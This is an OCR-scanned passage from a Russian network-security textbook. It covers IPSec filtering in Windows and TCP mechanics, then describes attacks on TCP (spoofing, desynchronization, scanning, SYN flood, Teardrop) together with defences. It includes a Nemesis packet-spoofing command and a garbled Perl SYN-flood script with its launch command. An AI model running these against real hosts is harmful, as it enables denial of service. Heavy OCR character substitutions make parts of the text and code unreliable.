Верхний нереключатель оставляем в наложении Пакеты из любо
rо порта, а нижним включаем режим Пакеты на этот иорт и в ноле 
вводим значение НТТР-норта - 80. Нажимаем Готово, закрываем 
мастер. Тенерь еще раз нажимаем кнонку Добавить и нроделываем 
все нредыдущие онерации еще раз , но уже указав значение норта 
443 (для HTTPS ) .  В сниске нижнего окна должны находиться оба 
созданных нравила фильтрации накетов (рис. 24) .  

Нажимаем кнонку ОК. Фильтр наш готов, но необходимо тенерь 
онределить действия, которые он будет нроизводить. Переключаемся 
на закладку Управление действиями фильтра и нажимаем кнонку 
Добавить. Снова откроется диалог мастера, нажимаем Далее. Ука
зываем имя, нанример Block, идем дальше. В качестве действия 
выбираем нереключатель Блокировать, нажимаем Далее и Готово. 
Фильтр создан, действие для него онределено,  нам осталось лишь 
создать нолитику и назначить ее. В окне консоли ММС щелкаем 
нравой кнонкой мыши узел Политики безоиасиости IP и выбираем 
команду Создать политику безоиасиости IP. В открывшемся окне 
мастера нажимаем Далее, затем указываем имя для нолитики, на-
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У n ра вле н не с n нскамн IР-фнл ь тра н де нет в нямн ф. . . LZJ L8J 
У правление списками фильтров IP У правление дес:iствиями Фильтра 1 

х 
С помощью этого диалога можно создавать и 
настраивать действие Фильтра, описывающее 
безопасность вашей сети. 

Доступные действия Фильтра являются общими для 
всех политик IР-безопасности. 

д&йствия Фильтра: 

Запрос безопасности [В озмож . . 
Разрешить 
Т ребуетс:::� безопасность 

1 Описание 
П ринимать небезопасную св я . . .  
Разрешение прохождение неб. . .  
П ринимать небезопасную св:::� . . .  

Добав�.-пь . .  J Изменить . . .  J }dдалить 1 Р' И сnо!lьзовать м_остер 

1 

О К Отмена J Применить 1 

Рис. 24. Уnраsленне денстsнямн фнльтра 

нример Политика_НТТР _HTTPS, нажимаем Далее. Снимаем фла
жок Нсиользовать правило но умолчанию, щелкаем Далее и Готово. 
В окне свойств нолитики нажимаем кнонку Добавить. 

Нажимаем Далее, оставляем нереключатель в наложении Это пра
вило не определяет туннель, идем дальше. Тин сети - указываем Все 
сетевые подключения, нажимаем Далее. Тенерь необходимо выбрать 
фильтр из сниска. 

Выбираем созданный нами фильтр Трафик_ НТТР _ HTTPS (слева 
должна ноявиться точка в кружке),  щелкаем кнонку Далее. Таким же 
образом выбираем действие для фильтра - Политика_ НТТР _ HTTPS, 
щелкаем Далее и Готово. Тенерь в нравой нанели консоли ММС но
явится созданная нолитика с именем Политика_НТТР _HTTPS. 

Все, что осталось сделать, - назначить ее. Для этого вынолняем 
нравый щелчок мышью на названии и выбираем команду Назначить. 
Для нроверки осталось занустить браузер. Если все было сделано 
нравильно, картина должна быть такой, как на рис. 25 .  

В результате вынолненных ранее действий мы занретили исноль
зование веб -трафика. Тенерь мы добавим фильтр, который будет 
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'ffl Консоль1 - [Ко р е н ь  ко нс.ол J>1\Потпнкн безопаснос.т.-. IP на " Локал ь н ы й  компь юте р"] GJ�[8] 
� �онсоль �ействие �11д !::!.:!iбрi'lнное Qкно �npi'l�a j=1.§J2!.J 
<? -+ l!J@L_� @ � � 
c:J Корень консоли �,.,:,::1:::::::::::::::::::: l 0rn::с:ани:,::::::::::1:н,;:,н:а<:,н:н:ая:'°:"":т:н,:а : : $ ГЬлеп11ки бе3ОПё.1сносп1 IP Hi'I "Пок. Ю Клиент (От�ет только) 

�Полнт11ка НТТР НТТРS 

Устано�11ть с�я3ь (небе3о . , .  Нет 

@:3 Сервер (З�прос безопасност11) 
Да 

8сег да требовать 11спольз . .  , Нет @:з Сервер безопасност11 (Требуется беэоп . . .  Всегда требовать 11спольэ" Нет 

>11 {_ 

Рис. 25. Управление действиями фильтра 

разрешать нодключения к некоторым узлам Интернета. Нанример, 
мы нозволим браузеру нросмотр узла www.microsoft.com. Для этого 
в нашей консоли ММС дважды щелкаем название нолитики Полити
ка_НТТРS_НТТРS. В окне свойств нажимаем кнонку Добавить, за
тем двойным щелчком выберем фильтр Трафик_НТТР _HTTPS . На 
вкладке Список фильтров нажимаем кнонку Добавить. Указываем 
имя для нового фильтра, нанример www.microsoft.com, жмем Доба
вить, Далее, в качестве источника накетов оставляем Мой IР-адрес, 
щелкаем кнонку Далее. В качестве адреса назначения выберем строку 
Определеппое DNS-имя, а в ноле Имя узла введем www.microsoft. 
com. Нажимаем Далее. 

Появится нредунреждение о том, что в фильтре вместо DNS-имени 
www.microsoft.com будет иснользован IР-адрес 207.46. 197.32. Согла
шаемся, нажав кнонку Да, затем указываем тин нротокола - ТСР, 
выбираем нереключатель На этот порт и указываем его номер - 80. 
Жмем Далее, Готово и ОК. Тенерь онределяем действие фильтра - не
реходим на одноименную закладку и выбираем нараметр Разрешить. 

Тенерь фильтр состоит из двух фильтров - один занрещает весь 
httр-трафик, другой разрешает соединения с онределенным IР
адресом. Все  это выглядит нримерно так: 
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Этот пример также и показывает одно из существенных отличий 
между применением �нормального� межсетевого экрана и фильтра
ции с помощью IPSec: использование IPSec не позволяет задать по
рядок следования или приоритет фильтра. Впрочем, работать он все 
равно будет. Осталось закрыть все диалоговые окна и проверить это. 

Теперь при переходе на www.microsoft.com (и только него ! )  брау
зер должен отобразить содержание этого узла. Обратите внимание, 
что ресурсы, расположенные на другом хаете (например, рекламные 
баннеры ), не отображаются - они также фильтруются примененной 
политикой IPSec. 

Подобным же образом вы можете создать собственные необходи
мые фильтры и применить их. 

2. З.23. Заключение 

Завершая тему безопасности на сетевом уровне, хотелось бы подвес
ти некоторый итог. Протоколы маршрутизации, используемые как 
в локальных сетях, так и в глобальной сети Интернет, подвержены 
различным атакам. Для предотвращения данных атак необходимо 
воспользоваться штатным функционалом данных протоколов или 
же применить дополнительные средства. Конечно, штатных средств 
защиты, используемых протоколами, не всегда бывает достаточно,  
поэтому зачастую нужно использовать дополнительные средства 
защиты, такие как протокол IPSec, который позволяет обеспечить 
конфиденциальность передаваемой информации на сетевом уровне. 

Теперь перейдем к транспортному уровню. 

2.4. Атаки на тра н с п ортн ом уро вне 
Н а  транспортном уровне используются два основных протокола - это 
ТСР и UDP. Обсуждение атак на транспортном уровне начнем с ТСР. 

2.4. 1 .  Транспортный протокол ТСР 

Транспортный протокол на сегодняшний день является наиболее рас
пространенным средством транспортировка трафика. Прежде всего 
рассмотрим механизм действия протокола. 

В отличие от протокола UDP, который может сразу же начать пере
дачу пакетов и о котором мы поговорим чуть позже, ТСР устанав
ливает соединения, которые должны быть созданы перед передачей 
данных. ТСР-соединение можно разделить на три стадии: 



О установка соединения ; 
О передача данных; 
О завершение соединения. 
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Сеанс протокола ТСР может иметь одно из следующих состояний: 

О CLOSED - начальное состояние узла. Фактически фиктивное; 
О LISTEN - сервер ожидает запросов установления соединения 

от клиента; 
О SYN-SENT - клиент отправил запрос серверу на установление 

соединения и ожидает ответа; 
О SYN-RECEIVED - сервер получил запрос на соединение, от

правил ответный запрос и ожидает подтверждения ; 
О ESTABLISHED - соединение установлено, идет передача дан

ных; 
О FIN-WAIT- 1 - одна из сторон (назовем ее узел- 1 )  завершает 

соединение, отправив сегмент с флагом FIN; 
О CLOSE-WAIТ - другая сторона (узел-2 ) переходит в это со

стояние, отправив, в свою очередь, сегмент АСК, и продолжает 
одностороннюю передачу; 

О FIN-WAIT-2 - узел- 1 получает АСК, продолжает чтение и ждет 
получения сегмента с флагом FIN; 

О LAST-ACK - узел-2 заканчивает передачу и отправляет сегмент 
с флагом FIN; 

О TIME-WAIT - узел- 1 получил сегмент с флагом FIN, отправил 
сегмент с флагом АСК и ждет 2*MSL секунд перед окончатель
ным закрытием соединения; 

О CLOSING - обе стороны инициировали закрытие соединения 
одновременно: после отправки сегмента с флагом FIN узел- 1 
также получает сегмент FIN, отправляет АС К и находится в 
ожидании сегмента АСК (подтверждения на свой запрос о разъ
единении) .  

Установка соединения 
Начало сеанса ТСР принято называть �тройным рукопожатием� 
(three-way handshake) .  Оно состоит из трех шагов . 

1 шаг. Клиент, который намеревается установить соединение, по
сылает серверу сегмент с номером последовательности и флагом 
SYN. 

Сервер получает сегмент, запоминает номер последовательности и 
пытается создать сокет (буферы и управляющие структуры памяти) 
для обслуживания нового клиента. 
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В случае успеха сервер посылает клиенту сегмент с номером по
следовательности и флагами SYN и АС К и переходит в состояние 
SYN-RECEIVED. 

В случае неудачи сервер носьшает клиенту сегмент с флагом RSТ. 
2 шаг. Если клиент получает сегмент с флагом SYN, то он запо

минает номер последовательности и носьшает сегмент с флагом лек 
Если он одновременно получает и флаг АСК (что обычно и проис

ходит) ,  то он переходит в состояние ESTABLISHED. 
Если клиент получает сегмент с флагом RST, то он прекращает 

попытки соединиться. 
Если клиент не получает ответа в течение 10  секунд, то он повто

ряет процесс соединения заново. 
3 шаг. Если сервер в состоянии SYN-RECEIVED получает сегмент 

с флагом АСК, то он переходит в состояние ESTABLISHED. 
В противном случае после тайм-аута он закрывает сокет и пере

ходит в состояние CLOSED.  
Процесс называется �тройным рукопожатием�, так как, несмотря 

на то что возможен процесс установления соединения с использова
нием 4 сегментов (SYN в сторону сервера, АСК в сторону клиента, 
SYN в сторону клиента, АС К в сторону сервера), на практике для 
экономии времени используются три сегмента. 

Приемник при обмене данными использует номер последователь
ности, содержащийся в получаемых сегментах, для восстановления 
их исходного порядка. Затем приемник уведомляет передающую сто
рону о номере последовательности, до которой он успешно получил 
данные, включая его в ноле �номер подтверждения�. Все получаемые 
данные, относящиеся к промежутку подтвержденных последователь
ностей, игнорируются. Если полученный сегмент содержит номер 
последовательности, больший, чем ожидаемый, то данные из сегмента 
буферизируются, но номер подтвержденной последовательности не 
изменяется. Если впоследствии будет принят сегмент, относящийся 
к ожидаемому номеру последовательности, то порядок данных будет 
автоматически восстановлен, исходя из номеров последовательно
стей в сегментах. 

Во избежание ситуации, когда передающая сторона отправляет 
данные интенсивнее, чем их может обработать приемник, ТСР со
держит средства управления потоком. Для этого используется ноле 
�окно� .  В сегментах, направляемых от приемника передающей сто
роне, в ноле �окно� указывается текущий размер приемного буфера. 
Передающая сторона сохраняет размер окна и отправляет данных не 
более, чем указал приемник. Если приемник указал нулевой размер 
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окна, то нередача данных в нанравлении этого узла не нроисходит, до 
тех нор, нока нриемник не сообщит о большем размере окна. 

Также возможны ситуации, когда нередающее нриложение может 
явно затребовать нротолкнуть данные до некоторой носледователь
ности нринимающему нриложению, не буферизируя их. Для этого 
иснользуется флаг PSH. Если в нолученном сегменте обнаружива
ется флаг PSH, то реализация ТСР отдает все буферизированные на 
текущий момент данные нринимающему нриложению. «Проталки
вание"> может иснользоваться, нанример, в интерактивных нриложе
ниях. В сетевых терминалах нет смысла ожидать ввода нользователя 
носле того, как он закончил набирать команду. Поэтому носледний 
сегмент, содержащий команду, обязан содержать флаг PSH, чтобы 
нриложение на нринимающей стороне смогло начать ее вынолнение. 

Завершение соединения 
Завершение соединения можно рассмотреть в три этана: 

1 .  Посылка серверу от клиента флагов FIN и АСК на завершение 
соединения. 

2 .  Сервер насылает клиенту флаги ответа АСК , FIN, что соеди
нение закрыто. 

3. После нолучения этих флагов клиент закрывает соединение и 
в нодтверждение отнравляет серверу АСК, что соединение за
крыто. 

Кратко нринцин работы нротокола нредставлен на рис. 26. 

Рис. 26. Робота протокола ТСР 
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2.4.2. Известные проблемы 

Перед тем как перейти к непосредственному описанию атак на ТСР, 
стоит упомянуть об известной проблеме, существующей в протоколе 
ТСР, - максимальном размере сегмента. 

В ТСР требуется явное указание максимального размера сегмента 
(параметр MSS)  в случае, если виртуальное соединение осуществ 
ляется через сегмент сети, где максимальный размер блока (MTU) 
менее, чем стандартный MTU Ethernet ( 1 500 байт). 

При этом в протоколах туннелирования, таких как GRE, IPIP, 
а также РРРоЕ MTU туннеля меньше, чем стандартный, поэтому 
сегмент ТСР максимального размера имеет длину пакета больше, 
чем MTU. Поскольку фрагментация в подавляющем большинстве 
случаев запрещена, то такие пакеты отбрасываются. 

Проявление этой проблемы выглядит как �зависание� соединений. 
При этом @ависание� может происходить в произвольные моменты 
времени, а именно тогда, когда отправитель использовал сегменты 
длиннее допустимого размера. 

Для решения этой проблемы на маршрутизаторах применяются 
правила межсетевого экранирования, добавляющие параметр MSS 
во все  пакеты, инициирующие соединения, чтобы отправитель ис 
пользовал сегменты допустимого размера. 

MSS может также управляться параметрами операционной систе
мы. 

2.4. З. Атаки на ТСР 

Вот мы разобрались с тем, как работает протокол ТСР. Теперь по
говорим о возможных атаках на протокол ТСР. Сразу хочу отметить, 
что все приведенные атаки хорошо известны, и в большинстве моде
лей сетевого оборудования существуют механизмы для эффективной 
защиты. Однако эти механизмы далеко не всегда используются но 
своему назначению. 

2. 3.23. з�1:г.ючение 
Для лучшего понимания приведенного далее материала определим
ся с некоторыми понятиями. Сегментом будем называть единицу 
данных протокола ТСР, сессией - передачу данных в рамках одного 
соединения. Sequence number (последовательный номер) - это число, 
обозначающее номер первого байта в сегменте. Его используют для 
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отслеживания нотока данных между отнравителем и нолучателем 
в конкретной сессии. Acknowledgement number (номер нодтверж
дения) - это число, равное нолученному sequence number + 1 ,  оно 
обозначает номер следующего байта, ожидаемого данной стороной 
от ее собеседника. 

Далее рассмотрим небольшой нример,  который нозволит лучше 
нанять суть атаки. 

Донустим, что некий нользователь А устанавливает ТСР-соедине
ние с нользователем Б, а злоумышленник - нользователь Е нытается 
вторгнуться в их «разговор">, то есть осуществить атаку «человек но
середине">. 

Цель этой атаки состоит в том, чтобы выдать себя за другую си
стему. Затем нользователь Е будет отсылать нользователю А накеты, 
словно бы это делает нользователь Б. На схеме ниже легальное со
единение нредставлено черным цветом, а обмен с участием злоумыш
ленника - красным (рис. 27) .  

Ack.  
Se . 

А Б 

Е 

Рис. 27. Схема сетевого вэанмоденствня 

Осуществление атаки нроисходит нутем угадывания sequence 
number (номера носледовательности) Б нри установлении соедине
ния между нользователями А и Б. 

На основе знаний о конкретной реализации ТСР /IP можно нред
сказать, какой acknowledgement number будет выслан нашим нользо
вателем Б на втором шаге установки соединения. Далее нользователю 
Е необходимо ввести систему Б в такое состояние, в котором она не 
сможет отвечать на сетевые занросы. Сделать это можно нескольки
ми снособами, нанример дождаться нерезагрузки системы данного 
нользователя (это самый нростой снособ, но он может оказаться труд
но реализуемым, так как ждать нерезагрузки, может быть, нридется 
длительное время) .  

Затем злоумышленник Е нонытается нритвориться нользовате
лем Б ,  для того чтобы нолучить достун к системе нользователя А. 
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Главное, что нужно сделать, для того чтобы А считал,  что злоумыш
ленник Е - это добропорядочный пользователь Б, - отправить его 
системе сегмент от имени Б с правильным acknowledgement number. 
Для этого Е может отправить пользователю А несколько сегментов, 
инициирующих соединение, с целью выяснения sequence number. 
Анализируя ответы пользователя А, взломщик Е может предсказать, 
какой sequence number будет указан в следующем сегменте от А. 

Далее Е посылает пользователю А сегмент с запросом на соедине
ние, где в качестве обратного адреса указывает адрес пользователя Б. 

Пользователь А ответит сегментом с sequence number, который 
взломщик Е может предсказать, но адресован этот сегмент пользова
телю Б.  Ни сам Б,  ни злоумышленник Е этого сегмента не получат. 

Злоумышленник Е может отправить пользователю А сегмент 
с acknowledgement number = предсказанный sequence number А +  1 .  
Если догадка Е относительно sequence number оказалась верной, то 
соединение считается установленным. 

Если пользователи А и Е находятся в одной сети, то задача пред
сказания sequence number упрощается. Наш взломщик Е может от
править честному пользователю А сегмент от имени Б с целью уста
новления соединения и, перехватив ответный сегмент от А, узнать 
его sequence number. 

Теперь взломщик Е может сделать все, что ему позволяют нрава 
доступа на данной машине, например нанести ущерб или скопировать 
информацию. 

Существуют простые методы защиты от IP-spoofing, но против ква
лифицированного злоумышленника они не сработают, также отсле
живание атаки усложняется, если она осуществляется изнутри вашей 
сети. Например, сигналом IP-spoofing могут быть пакеты с адресами 
из вашей сети, однако пришедшие извне. Но, как говорилось выше, 
злоумышленник может находиться в вашей сети. Отслеживание паке
тов от систем, которые находятся в недоступном состоянии, также не 
всегда успешно, так как злоумышленник может имитировать работу, 
отвечая на IСМР-накеты. 

Для подделки ТСР-накетов можно воспользоваться набором ути
лит, входящих в состав Backtrack. Например, с помощью утилиты 
Nemesis. В примере ниже от имени узла 1 . 1 . 1 . 1  с портом 1001  пере
даются пакеты на узел 2 .2 .2 .2  с портом 1 002. 

root@bt : n e m e s i s  t c p  -D  2 .  2 .  2 .  2 -у 1 0 02  -S 1 . 1 . 1 . 1  -х 1 00 1  

Поскольку ключевой элемент атаки - угадывание sequence number, 
то в защите от IP-spoofing может помочь использование кринтогра-
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фически стойкого алгоритма генерации псевдослучайных чисел для 
генерации sequence number. 

Шифрование ТСР-нотока кринтографически стойким алгорит
мом - наверное, наиболее традиционный способ решения проблемы 
IP-spoofing. 

2. 3.23. Зfiкшечение 

Эта атака объединяет в себе подслушивание трафика и IP-spoofing. 
Главная задача злоумышленника - привести соединение своих 

жертв в так называемое десинхронизованное состояние, то есть та
кое состояние, при котором соединение считается установленным, 
но acknowledgement number не совпадает с ожидаемым значением 
одной из сторон. 

Для приведения в десинхронизированное состояние существуют 
два способа: ранняя десинхронизация и десинхронизация нулевыми 
данными. 

Вернемся к нашим пользователям, указанным в прошлом примере. 
Пользователь А пытается установить соединение с Б,  а злоумыш
ленник Е прослушивает сегмент сети, но которому будут проходить 
пакеты этой сессии. 

Отметим, что возможность прослушивания сегмента сети, но ко
торому проходят интересующие злоумышленника пакеты, является 
необходимым условием для осуществления этой атаки. То есть зло
умышленник должен иметь доступ к машине, через которую прохо
дит сетевой ноток, и обладать достаточными нравами на ней, чтобы 
генерировать и перехватывать IР-накеты. 

Итак, пользователь А отправляет Б сегмент с некоторым (sequence 
number)A 1 ,  и ноле code Ьit имеет значение SYN (то есть запрос на 
соединение) .  

Пользователь Б отвечает сегментом с нужным (acknowledgement 
number) 1 и своим (sequence number)B 1 .  

Пользователь А подтверждает получение сегментом с acknowled
gement number = (sequence number)B 1  + 1 .  

В этот момент взломщик Е посылает Б сегмент от  имени А ,  в кото
ром в ноле code Ьit установлено значение RST ( Reset the connection) 
и sequence number имеет некоторое значение (sequence number)A2. 
И сразу же вслед за этим сегментом другой сегмент от имени поль
зователя А с запросом на установление соединения. 

Б сбросит первую сессию и откроет новую, на том же порту, но 
другим значением sequence number = (sequence number)AЗ. 
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Далее он отправит А сегмент с acknowledgement number и своим 
(sequence number)B2, но пользователь А этот сегмент проигнорирует, 
он для него неприемлем. 

Затем А отправит Б АСК-сегмент и, в свою очередь, получит от 
пользователя Б АСК-сегмент, так как то, что он получил от А, для 
него также неприемлемо. И так до бесконечности. 

Возникает явление, называемое АСК-буря. Но поскольку возмож
на потеря пакетов,  то буря ухнет через какое-то время. 

А вот злоумышленник Е пошлет пользователю Б сегмент от имени 
А с acknowledgement number = (sequence number)B2 + 1, то есть с тем, 
который Б ждет. Пользователи А и будут считать, что между ними 
установлено соединение, однако оно десинхронизировано. 

2.4. 6. Десинхронизация нулевыми данными 

В этом случае взломщик Е дожидается момента, когда пользователи 
А и Б не обмениваются данными и посылаются пользователю А от 
имени Б сегмент с �нулевыми� данными и еще один сегмент для Б 
от имени А также с �нулевыми� данными. 

Под �нулевыми� понимаются данные, которые будут проигнори
рованы на прикладном уровне, то есть приложение, которому они 
адресованы, не пошлет никаких данных в ответ. 

Такой метод десинхронизации удобен для Теlnеt-соединений, по
тому что в этом случае время ожидания неактивности невелико. Сег
мент с нулевыми данными может содержать некоторое число команд 
IAC NOP (нет операции) .  

Защититься от такой атаки можно, контролируя переход в де
синхронизованное состояние, обмениваясь информацией о sequence 
number, acknowledgement number. Но злоумышленник может менять 
эти значения, ведь он прослушивает пакеты. Более надежной защитой 
кажется отслеживание АСК-бурь. 

Применение кринтографически стойкого алгоритма для шифрова
ния ТСР-нотока - наиболее надежный способ защиты. 

2.4. 7. Сканирование сети 

Цель этой атаки состоит в том, чтобы выяснить, какие компьютеры 
подключены к сети и какие сетевые сервисы на них запущены. 

Первая задача в простейшем случае решается путем посылки Есhо
сообщений протокола ICMP с помощью утилиты ping с последова
тельным перебором всех адресов сети или отправкой Есhо-сообщения 
но широковещательному адресу. 
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Анализируя трафик и отслеживая Есhо-сообщения, посылаемые за 
короткий промежуток времени всем узлам, можно выявить попытки 
сканирования. Чтобы не дать себя раскрыть, злоумьштенник может 
растянуть отправку сообщений во времени. Вместо Есhо-сообщений 
могут применяться ТС Р-сегменты с code Ьit RST, ответы на несу
ществующие DNS-занросы. Если злоумышленник получит в ответ 
ICMP Destination UnreachaЫe пакет с кодом 1 (host unreachaЬle) ,  то, 
значит, тестируемый узел выключен или не подключен к сети. 

Чтобы определить, какие сервисы запущены, нужно узнать, какие 
порты открыты, так как существует набор сервисов , за которыми за
креплены определенные порты. Далее эту информацию можно ис 
пользовать для осуществления атаки на более высоком уровне. 

Для сканирования ТСР-нортов существуют несколько способов. 
Самый простой - установление ТСР-соединений с тестируемым пор
том. В этом случае появляется большое количество открытых и сразу 
прерванных соединений, поэтому атаку в такой реализации просто 
обнаружить. 

Другой способ - так называемый half-open scanning (сканирование 
в режиме половинного открытия) .  В этом режиме злоумышленник 
отправляет сегмент с code Ьit SYN на тестируемый порт и ждет ответа. 
Если в качестве ответа пришел сегмент с code Ьit RST, то это значит, 
что порт закрыт, а если сегмент с code Ьit SYN, АСК - порт открыт. 

Тогда злоумышленник отправит на этот порт сегмент с флагом 
RSТ. Так как соединение не бьто открыто, то обнаружить это скани
рование гораздо сложнее. 

И еще один способ заключается в том, чтобы отправлять сегменты 
с флагами FIN (no more data from sender), PSH (push function), URG 
(urgent pointer field significant) либо вообще с пустым нолем code 
Ьit. Если порт закрыт, то в ответ придет сегмент с флагом RST, если 
ответа не будет, то порт открыт (так как такой сегмент просто нро
игнорируется ) .  

Для сканирования сети существует множество различных инстру
ментов. В состав дистрибутива Backtrack входит более десятка различ
ных утилит. Помимо консольных утилит, можно также воспользовать
ся GUl-утилитой Autoscan Network, которая в оконном интерфейсе 
осуществит сканирование подсети на наличие доступных узлов. 

2. З.23. З�ктечсние 
Атака состоит в отправке большого числа сегментов с флагом SYN. 
Это число больше, чем атакуемый узел может обработать одновре
менно. 
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Цель - привести узел в состояние, когда он не сможет принимать 
запросы на открытие новых соединений, а в худшем случае @авис
нет� . 

Рассмотрим действия злоумышленника подробнее. 
От имени несуществующего отправителя злоумышленник посыла

ет ТСР-сегмент с флагом SYN. Атакуемый узел, получив сегмент, от
вечает сегментом с флагами SYN, АСК и переводит сессию в состояние 
SYN_RECEIVED. Создается очередь соединений, которые находятся 
в состоянии SYN_RECEIVED.  Если поступает сегмент-подтверж
дение, то есть сегмент с флагом АС К и нужным acknowledgment 
number, то соединение переходит в состояние ESTABLISHED, если 
подтверждения не поступает, то соединение удаляется из очереди. 
Время нахождения соединения со статусом SYN_RECEIVED в оче
реди варьируется в зависимости от операционной системы и может 
доходить до нескольких минут. Когда очередь соединений уже запол
нена, а система получает новый запрос на установление соединения, 
то этот запрос игнорируется. 

Обнаружить атаку несложно - невозможность соединиться с 
данным портом, большое число соединений в состоянии SYN_ 
RECEIVED. 

Для защиты существуют специальные механизмы, например ТСР 
Intercept. При использовании этого механизма маршрутизатор не 
передает SУN-сегмент, пришедший из внешней сети, в защищаемую 
сеть, а сначала пытается сам установить соединение от имени полу
чателя SУN-сегмента. Если это удается, то маршрутизатор устанав
ливает соединение с получателем от имени внешнего отправителя и 
далее действует как посредник, но так, что �собеседники� о нем не 
догадываются (рис. 28) .  

Если скорость и количество поступающих на маршрутизатор SYN -
сегментов увеличиваются, то он переходит в такой режим работы, 
при котором время ожидания ответа от отправителя SYN -сегмента 
резко уменьшается и вновь прибывший SУN-сегмент @ыталкивает� 
из очереди ранее полученный. 

Сложнее обстоит дело с защитой, когда злоумышленник находится 
в вашей сети. 

В этом случае советуют использовать программное обеспечение, 
которое позволяет установить максимальное число открываемых со
единений и список разрешенных клиентов.  

Для того чтобы проверить подверженность ваших систем дан
ной атаке, можно воспользоваться следующим сценарием на языке 
Перл. 



# 1 / u s r/ b i n / p e r l  

u s e  N e t : · RawI P ;  

s u b  g e raI P ( ) {  

$ ra n g e  = 2 5 5 :  

Клиент 

Клиент 

Клиент 

$iд  i n t ( r a n d ( $ ra n g e ) )  

$ i B  i n t ( r a n d ( $ ra n g e ) )  

$ i C  i n t (  ran d (  $ ran g e ) ) 

$ i D  i n t ( r a n d ( $ ra n g e ) ) ;  

r et u  r n  $iд  " . " $ i B  

s u b  attac k ( ) { 

( $d st .  $ p o rt ) = @AR G V  

$а = new  N et : : RawI P :  

wh i l e ( 1 )  { 

$ s rc_ p o rt = r a n d ( 6 5 5 34 ) + 1 : 

$ s rc = g e raI P ( ) ;  
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Синхронизация (SУN) 

Синхронизация

Подтвержден ие (SYN-ACK) 

� � 
�'"но (АСК) 

Рис. 28. Принцип атаки 

$ i C  " " $ i D ; 

$ a - > s e t ( { i p  => { s ad d r  => $ s rc ,  d a d d r => $ d s t } , t c p  => { so u rce  => $ s rc_po rt , d e s t  

=> $ p o rt , syn  => 1 } } ) :  
$ a - > s e n d ; 

} 
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} 

i f ( $#ARGV 1 )  { 

attac k ( ) ;  

} e l s e  { 

p r i n t  •Ta rget  Po rt\n • :  

} 

Для запуска пеобходимо указать адреса источпика, приемпика и 
порт, для которых будет осуществляться атака. 

rootObt :  pe rl synflood . pl 1 9 2 . 1 68 . 1 . 1 93 1 92 . 1 68 . 1 . 1  80  

2.4. 9. Атака Teardrop 

Эта атака использует слабое место в реализации процесса сборки 
фрагмептов па хаете-получателе. С помощью специальпой програм
мы создаются фрагмепты, в которых указаппое во фрагмептах смеще
пие приводит к затирапию доставлеппых рапее даппых. В результате 
при сборке таких фрагмептов па хаете-получателе пекоторые систе
мы могут выйти из строя, зависпуть или пачать перезагрузку. Некор
ректпая или пеполпая последовательпость фрагмептов по-прежпему 
опаспа для пекоторых хостов.  Такое большое количество проблем 
объяспяется тем, что хосты, маршрутизаторы и системы обпаружепия 
вторжепий должпы учитывать мпожество аспектов фрагмептации. 
Во-первых, следует проверить, все ли фрагмепты последовательпо
сти получепы. Во-вторых, пеобходимо прокоптролировать, чтобы 
все фрагмепты были правильпо сформатировапы (пе было замеще
пия одпих даппых другими) и в совокуппости размер даппых всех 
фрагмептов пе превышал максимальпо допустимого размера дейта
граммы - 65 535 байт. И последпее, заголовки пакетов пе должпы 
передаваться по частям в различпых фрагмептах. Для выполпепия 
указаппых проверок требуются сборка пакетов и обпаружепие вредо
поспых измепепий, что, в свою очередь, связапо с выделепием памя
ти и ресурсов процессора па сетевом оборудовапии. Одпако даппая 
атака представляет большую опаспость, и пеобходимо обязательпо 
припять меры по защите от пее, папример с помощью средств предот
вращепия вторжепий. 

2.4. 1 0. Безопасность ТСР 

Рассмотрев типовые атаки па трапспортпом уровпе, теперь погово
рим о способах защиты от пих. Начпем с IP-spofing. 
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Простейшим сиmалом IP-spoofing будут служить пакеты с впут
реппими адресами, пришедшие из впешпего мира. Программпое обес
печепие маршрутизатора может предупредить об этом адмипистра
тора. Одпако пе стоит обольщаться - атака может быть и изпутри 
вашей сети. 

В случае использовапия более иптеллектуальпых средств коптроля 
за сетью адмипистратор может отслеживать (в автоматическом режи
ме) пакеты от систем, которые паходятся в педоступпом состояпии. 
Впрочем, что мешает крэкеру имитировать работу системы В ответом 
па IСМР-пакеты? 

Какие способы существуют для защиты от IP-spoofing? Во-первых, 
можпо усложпить или сделать певозможпым угадывапие sequence 
number (ключевой элемепт атаки ) .  Например, можпо увеличить 
скорость измепепия sequence number па сервере или выбирать ко
эффициепт увеличепия sequence number случайпо (желательпо, ис
пользуя для геперации случайпых чисел криптографически стойкий 
алгоритм).  

Если сеть использует firewall (или другой фильтр IР-пакетов) ,  сле
дует добавить ему правила, по которым все пакеты, пришедшие извпе 
и имеющие обратпыми адреса из пашего адреспого прострапства, пе 
должпы пропускаться впутрь сети. Кроме того, следует мипимизи
ровать доверие машип друг другу. В идеале пе должпы существовать 
способы папрямую попасть па соседпюю машипу сети, получив права 
суперпользователя па одпой из пих. Копечпо, это пе спасет от исполь
зовапия сервисов,  пе требующих авторизации, папример IRC (хакер 
может притвориться произвольпой машипой Иптерпета и передать 
пабор комапд для входа па капал IRC, выдачи произвольпых сообще
пий и т. д . ) .  

Шифровапие ТСР /IР-потока решает в общем случае проблему IP
spoofing'a (при условии, что используются криптографически стой
кие алгоритмы).  

Для того чтобы умепьшить число таких атак, рекомепдуется 
также пастроить firewall для фильтрации пакетов ,  послаппых па
шей сетью паружу, по имеющих адреса, пе припадлежащие пашему 
адреспому прострапству. Это защитит мир от атак из впутреппей 
сети, кроме того, детектировапие подобпых пакетов будет озпачать 
парушепие впутреппей безопаспости и может помочь адмипистра
тору в работе. 

Есть песколько путей. Например, можпо реализовать ТСР /IР-стэк, 
который будет коптролировать переход в десипхропизироваппое со
стояпие, обмепиваясь ипформацией о sequence number/acknowledge 
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number. Одпако в даппом случае мы пе застраховапы от хакера, ме
пяющего и эти зпачепия. 

Поэтому более падежпым способом является апализ загружеппо
сти сети, отслеживапие возпикающих АСК-бурь. Это можпо реали
зовать при помощи копкретпых средств коптроля за сетью. 

Если хакер пе потрудится поддерживать десипхропизироваппое 
соедипепие до его закрытия или пе стапет фильтровать вывод своих 
комапд, это также будет сразу замечепо пользователем. К сожалепию, 
подавляющее большипство просто откроют повую сессию, пе обра
щаясь к адмипистратору. 

Стопроцептпую защиту от даппой атаки обеспечивает, как всегда, 
шифровапие ТСР /IР-трафика (па уровпе приложепий - secure shell) 
или па уровпе протокола - lpsec, который мы уже рассматривали 
рапее ) .  Это исключает возможпость модификации сетевого потока. 
Для защиты почтовых сообщепий может примепяться PGP. 

Следует заметить, что метод также пе срабатывает па пекоторых 
копкретпых реализациях TCP/IP. Так, песмотря па [rfc . . .  ], который 
требует молчаливого закрытия сессии в ответ па RSТ-пакет, пеко
